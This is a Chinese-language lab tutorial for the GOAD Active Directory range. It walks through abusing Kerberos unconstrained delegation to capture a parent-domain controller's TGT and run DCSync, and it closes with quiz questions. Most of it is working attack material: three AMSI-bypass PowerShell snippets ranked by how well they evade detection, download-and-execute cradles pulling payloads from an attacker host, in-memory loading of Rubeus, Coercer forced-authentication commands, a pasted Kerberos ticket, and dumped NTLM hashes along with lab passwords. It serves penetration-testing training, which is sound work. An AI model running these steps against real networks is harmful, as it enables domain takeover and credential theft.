在前 16 天的實戰演練中,我們已經掌握了從初始入侵到 ADCS 攻擊的完整攻擊鏈。然而,Active Directory 環境中還存在另一個極具威脅性的攻擊面:Kerberos 委派機制(Delegation)。委派功能原本是為了解決「服務需要代表使用者存取其他資源」的合法需求而設計。想像一個 Web 應用程式需要以使用者身份讀取後端資料庫 - 這正是委派機制的應用場景。但是,當委派設定不當時,攻擊者可以利用這個信任機制冒充任意使用者,甚至直接控制整個域。今天的重點是 無約束委派(Unconstrained Delegation) - 這是三種委派類型中最危險的一種。透過實戰演練,你將親手執行一次完整的跨域攻擊:從控制子域的域控制器開始,透過強制認證技術捕獲父域 DC 的 Kerberos 票證,最終提升至父域的完整控制權限。
在完成今天的實作後,你將能夠:
在開始之前,確保已經完成:
arya.stark:Needle
eddard.stark:FightP3aceAndHonor!
stannis.baratheon:Drag0nst0ne
# 確認工具安裝
which impacket-getST
which impacket-addcomputer
which impacket-rbcd
which impacket-secretsdump
# 下載 Rubeus(Windows 工具)
wget https://github.com/GhostPack/Rubeus/releases/latest/download/Rubeus.exe
# 安裝 Coercer(強制認證工具)
git clone https://github.com/p0dalirius/Coercer
cd Coercer
pip3 install -r requirements.txt
想像以下場景:
使用者 Alice
↓ 登入
Web 伺服器(需要代表 Alice 存取資料庫)
↓ 需要 Alice 的身份
資料庫伺服器
問題:Web 伺服器如何證明「我是代表 Alice 來存取資料庫」?
解決方案:透過 Kerberos 委派機制
委派類型 | 英文名稱 | 信任範圍 | 危險程度 | 常見用途 |
---|---|---|---|---|
無約束委派 | Unconstrained Delegation | 任何服務 | 🔴 極高 | DC(預設)、舊式應用 |
約束委派 | Constrained Delegation | 指定的服務清單 | 🟡 高 | Web→DB、特定服務鏈 |
資源型約束委派 | Resource-Based Constrained Delegation (RBCD) | 目標自行決定 | 🟠 中高 | 現代服務、靈活授權 |
使用者 → 服務 A(帶著 TGT)
服務 A:「我現在擁有使用者的 TGT,可以冒充他存取任何服務!」
↓
任意服務
危險性:取得 TGT = 完全控制該使用者
使用者 → 服務 A
服務 A → KDC:「我要代表使用者存取 服務 B」
KDC → 服務 A:「這是給服務 B 的 TGS」
服務 A → 服務 B(使用 TGS)
限制:只能存取預先定義的服務清單
服務 B 的管理員:「我允許服務 A 代表任何人存取我」
攻擊者控制服務 A → 可代表任何人存取服務 B
特點:權限設定在目標資源而非來源服務
使用 BloodHound 查詢:
# 查詢所有啟用無約束委派的電腦
MATCH (c {unconstraineddelegation:true}) RETURN c
結果分析:
如果排除 DC,尋找異常主機,可參考以下語法:
# 查詢非 DC 的無約束委派主機
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group)
WHERE g.objectid ENDS WITH '-516'
WITH COLLECT(c1.name) AS domainControllers
MATCH (c2 {unconstraineddelegation:true})
WHERE NOT c2.name IN domainControllers
RETURN c2
無約束委派的核心問題:
使用 eddard.stark
的憑證:
# 使用 RDP 連接到 WINTERFELL
xfreerdp3 /d:north.sevenkingdoms.local /u:eddard.stark \
/p:'FightP3aceAndHonor!' /v:192.168.139.11 /cert:ignore
為什麼選擇 WINTERFELL?
在 Kali 準備 HTTP 伺服器:
# 準備工具
mkdir ~/goad/delegation
cd ~/goad/delegation
# 下載 Rubeus(從 GitHub 編譯好的版本)
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe
# 或從官方 repo 下載並編譯
git clone https://github.com/GhostPack/Rubeus.git
AMSI 是什麼?
AMSI(反惡意軟體掃描介面)是 Windows 10 以上版本內建的安全功能,會即時掃描 PowerShell 腳本、VBScript 等內容,偵測惡意程式碼。當你執行可疑指令時,AMSI 會攔截並發出警告。
以下說明三種 AMSI 繞過技術
第一種:amsi_rmouse.txt(記憶體修補法)
cat > amsi_rmouse.txt << 'EOF'
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
EOF
格式化版本:
$a=[Ref].Assembly.GetTypes();
Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};
$d=$c.GetFields('NonPublic,Static');
Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};
$g=$f.GetValue($null);
[IntPtr]$ptr=$g;
[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
逐行說明:
$a=[Ref].Assembly.GetTypes()
Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
AmsiUtils
)$c
$d=$c.GetFields('NonPublic,Static')
Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}
amsiContext
)$g=$f.GetValue($null)
[IntPtr]$ptr=$g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
原理: 透過修改 AMSI 在記憶體中的 context,讓 AMSI 以為自己已經初始化失敗,進而停止掃描。
第二種:amsi_bypass.txt(直接設定失敗旗標)
cat > amsi_bypass.txt << 'EOF'
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
EOF
說明:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
AmsiUtils
型別(不需要走訪).GetField('amsiInitFailed','NonPublic,Static')
amsiInitFailed
的非公開靜態欄位.SetValue($null,$true)
amsiInitFailed
設為 true
原理: 直接設定 AMSI 的失敗旗標,讓它以為自己無法正常運作,因此跳過所有掃描。
第三種:amsi_bypass_advanced.txt(字串混淆 + 記憶體寫入)
cat > amsi_bypass_advanced.txt << 'EOF'
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
EOF
逐行說明:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
'Am'+'siUt'+'ils'
= 'AmsiUtils'
'AmsiUtils'
,可能被 AMSI 偵測為可疑字串$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static')
'am'+'siCon'+'text'
= 'amsiContext'
(同樣使用字串混淆)amsiContext
是 AMSI 用來儲存掃描引擎內容的記憶體位址$z=$y.GetValue($null)
amsiContext
欄位的值[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
$z
寫入 32 位元整數 0x41424344
0x41
= 'A'0x42
= 'B'0x43
= 'C'0x44
= 'D'原理: 使用字串混淆避開靜態偵測,然後直接破壞 AMSI 記憶體結構。
三種方法比較
特性 | amsi_rmouse.txt | amsi_bypass.txt | amsi_bypass_advanced.txt |
---|---|---|---|
方法 | 記憶體修補(寫入 0) | 設定失敗旗標 | 記憶體寫入(寫入 "ABCD") |
複雜度 | 複雜(間接查找) | 簡單直接 | 中等 |
字串混淆 | 無 | 無 | 有 |
隱蔽性 | 較高 | 較低 | 最高 |
穩定性 | 跨版本較穩定 | 可能被特徵碼偵測 | 穩定 |
偵測難度 | 較難被偵測 | 容易被 EDR 發現 | 最難被偵測 |
繞過率 | 高 | 中 | 最高 |
# 啟動 HTTP 伺服器
python3 -m http.server 8080
在 RDP 開起 PowerShell :
# 方法 1:遠端執行 (記得要改成自己的 KALI IP)
IEX(New-Object Net.WebClient).DownloadString('http://KALI_IP:8080/amsi_bypass_advanced.txt')
(New-Object System.Net.WebClient).DownloadString('http://192.168.139.136:8080/amsi_rmouse.txt')|IEX
# 方法 2:單行指令(第三種)
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
# 方法 3:單行指令(第二種,最簡單)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
echo -n '$x=[Ref].Assembly.GetType("System.Management.Automation.Am"+"siUt"+"ils");$y=$x.GetField("am"+"siCon"+"text",[Reflection.BindingFlags]"NonPublic,Static");$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)' | iconv -t UTF-16LE | base64 -w 0
在本次測試當中發現沒有辦法繞過 AMSI ,但我們仍可以透過記憶體載入的方式來執行。
記憶體載入 .NET 組件技術解析
方法 1:使用 Main() 陣列參數
$data = (New-Object Net.WebClient).DownloadData('http://192.168.139.136:8080/Rubeus.exe')
[Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main(@("triage"))
第一步:下載到記憶體
$data = (New-Object Net.WebClient).DownloadData('http://192.168.139.136:8080/Rubeus.exe')
New-Object Net.WebClient
:建立網路客戶端物件.DownloadData()
:將檔案下載為位元組陣列,儲存在記憶體中$data
:變數儲存 Rubeus.exe 的原始位元組第二步:反射載入組件
[Reflection.Assembly]::Load($data)
[Reflection.Assembly]
:.NET 的反射功能::Load($data)
:將位元組陣列載入為 .NET 程式集GAC = False
和 v4.0.30319
,確認載入成功第三步:呼叫 Main 方法
[Rubeus.Program]::Main(@("triage"))
[Rubeus.Program]
:Rubeus 程式的進入點類別::Main()
:標準的 C# Main 方法@("triage")
:PowerShell 陣列語法,傳遞字串陣列參數Rubeus.exe triage
陣列參數語法說明
# 單一參數
[Rubeus.Program]::Main(@("triage"))
# 多個參數
[Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))
# 含空格的參數需要正確分割
[Rubeus.Program]::Main(@("asktgt", "/user:admin", "/password:P@ssw0rd", "/domain:domain.local"))
重點: @()
是 PowerShell 建立陣列的語法,即使只有一個元素也要使用。
方法 2:使用 MainString() 字串參數
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::MainString("triage")
差異說明-完整命名空間
# 方法 1:簡寫
Net.WebClient
Reflection.Assembly
# 方法 2:完整寫法
System.Net.WebClient
System.Reflection.Assembly
PowerShell 會自動補上 System.
前綴,兩種寫法功能相同。
差異說明-儲存組件變數
# 方法 1:不儲存
[Reflection.Assembly]::Load($data)
# 方法 2:儲存到變數
$assem = [System.Reflection.Assembly]::Load($data)
儲存到 $assem
可以後續操作該組件,但此案例中非必要。
差異說明-呼叫方法差異
# 方法 1:Main() - 接受字串陣列
[Rubeus.Program]::Main(@("triage"))
[Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))
# 方法 2:MainString() - 接受單一字串
[Rubeus.Program]::MainString("triage")
[Rubeus.Program]::MainString("kerberoast /outfile:output.txt")
差異說明-兩種方法比較
項目 | Main() 方法 | MainString() 方法 |
---|---|---|
參數型別 | string[] 陣列 |
string 單一字串 |
語法 | @("cmd", "arg1", "arg2") |
"cmd arg1 arg2" |
複雜度 | 稍複雜 | 較簡單 |
適用場景 | 參數明確分離 | 簡單指令快速執行 |
符合標準 | 標準 C# Main 方法 | Rubeus 特製方法 |
差異說明-使用建議
使用 Main():
使用 MainString():
技術原理總結
這是**無檔案攻擊(Fileless Attack)**技術:
優點:
缺點:
兩種方法的核心原理相同,差別只在於參數傳遞方式。選擇你覺得方便的即可。
預期輸出:
從輸出可以看到 eddard.stark
有以下 tickets:
Ticket | 說明 | 類型 |
---|---|---|
krbtgt/NORTH.SEVENKINGDOMS.LOCAL |
TGT(票證授權票證) | 用於向 KDC 請求服務票證 |
MSSQLSvc/castelblack... |
MSSQL 服務票證 | 訪問 castelblack 的 SQL Server |
CIFS/thewall... |
檔案共享票證 | 訪問 thewall 的 SMB/CIFS |
HTTP/eyrie... |
HTTP 服務票證 | 訪問 eyrie 的 Web 服務 |
LUID: 0x1d5ce9
是本地唯一識別碼(Locally Unique Identifier),代表目前的登入 session。
這些票證顯示 eddard.stark 已經存取過多個服務,包括 SQL Server、檔案共享和 Web 服務。
目標:讓 KINGSLANDING$(父域 DC)向 WINTERFELL 認證
在 Kali 執行 Coercer:
python3 -m pip install coercer
# 強制 KINGSLANDING 連接到 WINTERFELL
~/.venvs/impacket/bin/coercer coerce \
-u arya.stark \
-p Needle \
-d north.sevenkingdoms.local \
-t kingslanding.sevenkingdoms.local \
-l winterfell.north.sevenkingdoms.local
coercer 發現了:
MS-EFSR (EfsRpcAddUsersToFile) 回應 ERROR_BAD_NETPATH - 這是成功的!
Coercer 原理:
預期輸出:
[+] Successful exploitation of MS-RPRN!
[+] kingslanding.sevenkingdoms.local authenticated to winterfell
記得要開管理員模式
回到 RDP session,再次執行 Triage:
[Rubeus.Program]::MainString("triage")
關鍵發現:
| 0x4e1e4c | kingslanding$ @ SEVENKINGDOMS.LOCAL | krbtgt/SEVENKINGDOMS.LOCAL |
✅ 成功! KINGSLANDING 的 TGT 出現了!
# 提取 KINGSLANDING$ 的 TGT
[Rubeus.Program]::Main(@("dump", "/service:krbtgt", "/nowrap"))
# 提取指定
[Rubeus.Program]::Main(@("dump", "/luid:0x447ed6", "/service:krbtgt", "/nowrap"))
輸出範例:
[*] Action: Dump Kerberos Ticket Data (All Users)
UserName : kingslanding$
Domain : SEVENKINGDOMS
LogonId : 0x5a3b2
UserSID : S-1-5-21-...
AuthenticationPackage : Kerberos
LogonType : Network
LogonTime : 9/20/2025 10:23:15
LogonServer : KINGSLANDING
LogonServerDNSDomain : SEVENKINGDOMS.LOCAL
UserPrincipalName : kingslanding$@sevenkingdoms.local
ServiceName : krbtgt/SEVENKINGDOMS.LOCAL
ServiceRealm : SEVENKINGDOMS.LOCAL
StartTime : 9/20/2025 10:23:15
EndTime : 9/20/2025 20:23:15
RenewTill : 9/27/2025 10:23:15
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFuj...很長的 base64...
複製 Base64 票證(重要:刪除所有空白和換行)
# 將 Base64 票證匯入當前 session
[Rubeus.Program]::Main(@("ptt", "/ticket:doIFrzCCBaugAwIBBaEDAgEWooIEmTCCBJVhggSRMIIEjaADAgEFoRUbE1NFVkVOS0lOR0RPTVMuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE1NFVkVOS0lOR0RPTVMuTE9DQUyjggRDMIIEP6ADAgESoQMCAQKiggQxBIIELRE5qJodz0dm5XFJbRwfcmk97T81MLe6PF+5EKXTr0eg0GzuIdyLg0g+zB+3aS17/kWRyFkvz+N86ghRnZB+SvalavAaGa+Oo1yu4ts9lj9qr4tVBvyyUIhWQ75FcKUtyPfYiYFs8G0Wsp7y38B09EdQto66dpfh1KdVB8m+NQHccep6DLArG6wmR3+LMxs1KiNIhoubW9iLLci1vvURjxSqP1lhT99XuhqS3NHdiQ7QQ0ta/Xm3pF/u6Hr4vKJXba7OXrxfxboSZ2vWTZhiVT7ztTUDofBskeqXBeoop3KcORG2m/pdc2NJyRvaZwMm+U+kPpnLvRJTA1A/wCTl73jZVZKuWPcSfP40DhpaAPFq6QFC2ZebMNWhhKG3NPnWA4dxzhtxbVxyOItLeHx5QdKkV2EuL5nqPOyAknkIP2JxU/3xvGxBqKzd9Uij2sCK2VfgPaxL9LQB/f36XGEhO23Ys00frKRAXEbM01JTglrQECMO5noQiosrpLFikbx8B04y1JX3OMrjOAbCnYsRLrUB0VEgl1yEUXBGqnJerNzc9boDxiCGvn/iqp64alSCVq2uHMZ82skRwMBUyadUj5fT4dz/REhaTzvQJnQEbTDjGJwhYknLC0pII+UOE9ZAVU/Dg+c4FKuDDhQN947FCZ8M0SjNyNOnTkCR/7l7z51CCCBnnXU4eOD9982+LAgqqTJ8LqHMeSf1AHJMVI8KH73iUXBW8v6Qm04WSm61p5XX1EJNpE+dYWd9HcldB7YJoqXggPRhElH7SEnJ8+7B3s4qaJtV8bisZW/BTaPxMrW5HUVVuar09WZNbc4ZnFi43AAw6Op/h+xaT+ZMpu8Q29Y/ZMjMLnYq6jswTIbZp6uyVWuveskV9b/Ifx6hylcK4sT+GWQSuoYKrkj4UvlN2iuTCXONdI5xsAcNDQTNFKtZFF1kp2Xy+9fvH/S0lnUNmNtV5MFxElLsEzeoZiZdFbzD4q6n06aoO5nGEXUeY6kKCt7Su9cfFb7Q7FB287Yjv0DXcbP/3vzNXBTUcI0Mq+8PRXGGTw/9wWcgpzv2fDYYO/I9TBLUYVoNF8sOGqUyb7LPHjwLnOr8xTrMYn1+61kbhuXatMDJorO311k31AR6AGJQQa/WID9PLonlIcnORLb3IdAhyZT333Z9keXqStEMHUtyltyPtYfdfiOiTZ0Zuh1JPyGUI3pgvQRMnhfqMIxwKx91NP4xkJuSjx+CYchU04s/KRWY0ox67hEVVu8AY4vhsngrJsqf/iURmMoPz/YPLxeCDnvDx8l4neNt+wPf60fCepv20Qyi6ycRPEZW+nJfkZyStqd0Xtv9INipdz0B1ZES3kbATi+cr9Pm2mVqD80/BRXaHYUO4ZM+YLZl7iOnGla7pdJvbgfBw5FPrsXsSNSk97Oi9Qf8OMijggEAMIH9oAMCAQCigfUEgfJ9ge8wgeyggekwgeYwgeOgKzApoAMCARKhIgQgi+vb61pURWHtGCAZ+42RxiufDN2EH+oB19urMe/2M7GhFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKIaMBigAwIBAaERMA8bDUtJTkdTTEFORElORySjBwMFAGChAAClERgPMjAyNTEwMDExMzU1MTNaphEYDzIwMjUxMDAxMjM1NTEzWqcRGA8yMDI1MTAwODEzNTUxM1qoFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKkoMCagAwIBAqEfMB0bBmtyYnRndBsTU0VWRU5LSU5HRE9NUy5MT0NBTA=="))
在 Kali:
# 將 Base64 儲存到檔案
cd ~/goad/delegation
cat > kingslanding.b64 << 'EOF'
doIFrzCCBaugAwIBBaEDAgEWooIEmTCCBJVhggSRMIIEjaADAgEFoRUbE1NFVkVOS0lOR0RPTVMuTE9DQUyiKDAmoAMCAQKhHzAdGwZrcmJ0Z3QbE1NFVkVOS0lOR0RPTVMuTE9DQUyjggRDMIIEP6ADAgESoQMCAQKiggQxBIIELRE5qJodz0dm5XFJbRwfcmk97T81MLe6PF+5EKXTr0eg0GzuIdyLg0g+zB+3aS17/kWRyFkvz+N86ghRnZB+SvalavAaGa+Oo1yu4ts9lj9qr4tVBvyyUIhWQ75FcKUtyPfYiYFs8G0Wsp7y38B09EdQto66dpfh1KdVB8m+NQHccep6DLArG6wmR3+LMxs1KiNIhoubW9iLLci1vvURjxSqP1lhT99XuhqS3NHdiQ7QQ0ta/Xm3pF/u6Hr4vKJXba7OXrxfxboSZ2vWTZhiVT7ztTUDofBskeqXBeoop3KcORG2m/pdc2NJyRvaZwMm+U+kPpnLvRJTA1A/wCTl73jZVZKuWPcSfP40DhpaAPFq6QFC2ZebMNWhhKG3NPnWA4dxzhtxbVxyOItLeHx5QdKkV2EuL5nqPOyAknkIP2JxU/3xvGxBqKzd9Uij2sCK2VfgPaxL9LQB/f36XGEhO23Ys00frKRAXEbM01JTglrQECMO5noQiosrpLFikbx8B04y1JX3OMrjOAbCnYsRLrUB0VEgl1yEUXBGqnJerNzc9boDxiCGvn/iqp64alSCVq2uHMZ82skRwMBUyadUj5fT4dz/REhaTzvQJnQEbTDjGJwhYknLC0pII+UOE9ZAVU/Dg+c4FKuDDhQN947FCZ8M0SjNyNOnTkCR/7l7z51CCCBnnXU4eOD9982+LAgqqTJ8LqHMeSf1AHJMVI8KH73iUXBW8v6Qm04WSm61p5XX1EJNpE+dYWd9HcldB7YJoqXggPRhElH7SEnJ8+7B3s4qaJtV8bisZW/BTaPxMrW5HUVVuar09WZNbc4ZnFi43AAw6Op/h+xaT+ZMpu8Q29Y/ZMjMLnYq6jswTIbZp6uyVWuveskV9b/Ifx6hylcK4sT+GWQSuoYKrkj4UvlN2iuTCXONdI5xsAcNDQTNFKtZFF1kp2Xy+9fvH/S0lnUNmNtV5MFxElLsEzeoZiZdFbzD4q6n06aoO5nGEXUeY6kKCt7Su9cfFb7Q7FB287Yjv0DXcbP/3vzNXBTUcI0Mq+8PRXGGTw/9wWcgpzv2fDYYO/I9TBLUYVoNF8sOGqUyb7LPHjwLnOr8xTrMYn1+61kbhuXatMDJorO311k31AR6AGJQQa/WID9PLonlIcnORLb3IdAhyZT333Z9keXqStEMHUtyltyPtYfdfiOiTZ0Zuh1JPyGUI3pgvQRMnhfqMIxwKx91NP4xkJuSjx+CYchU04s/KRWY0ox67hEVVu8AY4vhsngrJsqf/iURmMoPz/YPLxeCDnvDx8l4neNt+wPf60fCepv20Qyi6ycRPEZW+nJfkZyStqd0Xtv9INipdz0B1ZES3kbATi+cr9Pm2mVqD80/BRXaHYUO4ZM+YLZl7iOnGla7pdJvbgfBw5FPrsXsSNSk97Oi9Qf8OMijggEAMIH9oAMCAQCigfUEgfJ9ge8wgeyggekwgeYwgeOgKzApoAMCARKhIgQgi+vb61pURWHtGCAZ+42RxiufDN2EH+oB19urMe/2M7GhFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKIaMBigAwIBAaERMA8bDUtJTkdTTEFORElORySjBwMFAGChAAClERgPMjAyNTEwMDExMzU1MTNaphEYDzIwMjUxMDAxMjM1NTEzWqcRGA8yMDI1MTAwODEzNTUxM1qoFRsTU0VWRU5LSU5HRE9NUy5MT0NBTKkoMCagAwIBAqEfMB0bBmtyYnRndBsTU0VWRU5LSU5HRE9NUy5MT0NBTA==
EOF
# 轉換格式
cat kingslanding.b64 | base64 -d > kingslanding.kirbi
ticketConverter.py kingslanding.kirbi kingslanding.ccache
# 設定 Kerberos 票證
export KRB5CCNAME=kingslanding.ccache
# 執行 DCSync 攻擊
secretsdump.py -k -no-pass SEVENKINGDOMS.LOCAL/KINGSLANDING\$@kingslanding.sevenkingdoms.local
klist
klist 輸出:
┌──(impacket)─(kali㉿kali)-[~/goad/delegation]
└─$ klist
Ticket cache: FILE:kingslanding.ccache
Default principal: KINGSLANDING$@SEVENKINGDOMS.LOCAL
Valid starting Expires Service principal
10/01/2025 06:55:13 10/01/2025 16:55:13 krbtgt/SEVENKINGDOMS.LOCAL@SEVENKINGDOMS.LOCAL
renew until 10/08/2025 06:55:13
# 使用 KINGSLANDING$ 的票證執行 DCSync
impacket-secretsdump -k -no-pass \
SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING.SEVENKINGDOMS.LOCAL
成功輸出:
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
tywin.lannister:1113:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e9b7:::
jaime.lannister:1114:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f2e2869616080:::
cersei.lannister:1115:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b:::
tyron.lannister:1116:aad3b435b51404eeaad3b435b51404ee:b3b3717f7d51b37fb325f7e7d048e998:::
robert.baratheon:1117:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea60dbe:::
joffrey.baratheon:1118:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1:::
renly.baratheon:1119:aad3b435b51404eeaad3b435b51404ee:1e9ed4fc99088768eed631acfcd49bce:::
stannis.baratheon:1120:aad3b435b51404eeaad3b435b51404ee:d75b9fdf23c0d9a6549cff9ed6e489cd:::
petyer.baelish:1121:aad3b435b51404eeaad3b435b51404ee:6c439acfa121a821552568b086c8d210:::
lord.varys:1122:aad3b435b51404eeaad3b435b51404ee:52ff2a79823d81d6a3f4f8261d7acc59:::
成功!從子域(north.sevenkingdoms.local)提升到父域(sevenkingdoms.local)!
1. 控制設定無約束委派的機器(WINTERFELL)
↓
2. 強制高權限目標(KINGSLANDING DC)進行認證
↓
3. 捕獲目標的 TGT(儲存在 LSASS)
↓
4. 使用 TGT 冒充目標
↓
5. 執行 DCSync 取得所有域憑證
在 Active Directory 的三種 Kerberos 委派類型中,以下敘述何者正確?
A) 約束委派(Constrained Delegation)最危險,因為可以存取任何服務
B) 資源型約束委派(RBCD)最危險,因為權限設定在目標資源
C) 無約束委派(Unconstrained Delegation)最危險,因為服務可以獲得使用者的 TGT
D) 三種委派類型的危險性相同,主要取決於服務的權限
正確答案:C
詳細解析:
無約束委派是三種類型中最危險的,原因如下:
TGT 的完整控制權:
無限制的服務存取:
其他選項錯誤原因:
實戰案例:
在本文的攻擊中,我們透過無約束委派捕獲了 KINGSLANDING$(父域 DC)的 TGT,進而執行 DCSync 攻擊,取得整個父域的所有憑證。這正是無約束委派最危險的體現。
為何 DC 預設啟用無約束委派?
在無約束委派攻擊中,我們使用 Coercer 工具強制 KINGSLANDING(父域 DC)向 WINTERFELL 進行認證。以下關於 Coercer 的敘述,何者錯誤?
A) Coercer 利用 Windows RPC 協定的特性強制目標發起認證
B) 成功的 Coercer 攻擊會讓目標的 TGT 出現在攻擊者控制的伺服器上
C) Coercer 攻擊需要攻擊者已經擁有域管理員權限才能執行
D) MS-EFSR 和 PrinterBug 都是 Coercer 可以利用的 RPC 方法
正確答案:C
詳細解析:
Coercer 攻擊不需要域管理員權限,這正是它如此危險的原因。
Coercer 的運作原理:
攻擊者(普通域使用者)
↓ 發送特殊 RPC 請求
目標伺服器(如 DC)
↓ 被迫向指定位置認證
攻擊者控制的伺服器(啟用無約束委派)
↓ 捕獲目標的 TGT
為何不需要高權限:
arya.stark
(普通使用者)執行 Coercer實際攻擊指令回顧:
coercer coerce \
-u arya.stark \ # 普通域使用者
-p Needle \
-d north.sevenkingdoms.local \
-t kingslanding.sevenkingdoms.local \ # 目標:父域 DC
-l winterfell.north.sevenkingdoms.local # 誘騙至:我們控制的伺服器
其他選項說明:
常見的強制認證方法:
防禦建議:
在攻擊過程中,我們需要繞過 AMSI(反惡意軟體掃描介面)才能執行 Rubeus。以下三種 AMSI 繞過方法中,哪一種最難被偵測?
A) 直接設定 amsiInitFailed
為 $true
B) 將 0 寫入 AMSI context 記憶體位址
C) 使用字串混淆並寫入 0x41424344
到 AMSI context
D) 直接停用 Windows Defender 服務
正確答案:C
詳細解析:
三種 AMSI 繞過技術的比較:
方法 | 技術原理 | 隱蔽性 | 偵測難度 |
---|---|---|---|
方法 A | 設定失敗旗標 | 低 | 容易被 EDR 發現 |
方法 B | 記憶體修補(寫 0) | 中 | 中等 |
方法 C | 字串混淆 + 記憶體寫入 | 高 | 最難 |
方法 C 的優勢(最難偵測):
# 字串混淆範例
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
$z=$y.GetValue($null);
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
為何難以偵測:
'Am'+'siUt'+'ils'
繞過靜態字串掃描0x41424344
("ABCD")破壞 AMSI context 結構方法 A 的弱點(容易偵測):
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
.GetField('amsiInitFailed','NonPublic,Static')
.SetValue($null,$true)
amsiInitFailed
是已知的繞過模式方法 B 的特性(中等偵測難度):
# 寫入 0 到 AMSI context
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
方法 D 為何錯誤:
實戰經驗:
在本文的實驗中,即使使用方法 C,仍然無法完全繞過 AMSI。這反映了:
現代防禦機制:
在無法繞過 AMSI 時,我們使用記憶體載入技術執行 Rubeus。以下關於記憶體載入的敘述,何者錯誤?
A) 記憶體載入可以避開基於檔案的防毒掃描
B) [Reflection.Assembly]::Load()
會將組件載入到應用程式網域的記憶體中
C) MainString()
方法接受單一字串參數,而 Main()
方法接受字串陣列
D) 記憶體載入技術可以完全避開所有現代 EDR 的偵測
正確答案:D
詳細解析:
記憶體載入雖然是強大的技術,但無法完全避開現代 EDR。
記憶體載入的優勢(A、B、C 正確):
# 下載到記憶體
$data = (New-Object Net.WebClient).DownloadData('http://KALI_IP:8080/Rubeus.exe')
# 反射載入
[Reflection.Assembly]::Load($data)
# 兩種呼叫方式
[Rubeus.Program]::Main(@("triage")) # 字串陣列
[Rubeus.Program]::MainString("triage") # 單一字串
A 正確:
B 正確:
[Reflection.Assembly]::Load()
是 .NET 的反射功能GAC = False
確認非全域組件快取C 正確:
# Main() - 標準 C# Main 方法
[Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))
# MainString() - Rubeus 特製方法
[Rubeus.Program]::MainString("kerberoast /outfile:output.txt")
為何 D 錯誤(現代 EDR 的能力):
現代 EDR 可以偵測記憶體載入,透過:
a) 記憶體掃描:
b) 行為監控:
# 這些行為會被標記為可疑
[Reflection.Assembly]::Load() # 反射載入行為
(New-Object Net.WebClient).Download # 網路下載行為
[Runtime.InteropServices.Marshal]:: # 記憶體操作
c) PowerShell 日誌:
# 這些都會被記錄在事件日誌中
Event ID 4104: PowerShell Script Block Logging
Event ID 4103: Module Logging
d) API 監控:
e) 網路流量分析:
實際偵測案例:
使用記憶體載入時,可能觸發的警報:
Alert: Suspicious PowerShell Activity
- Reflection.Assembly.Load detected
- Downloading executable from external source
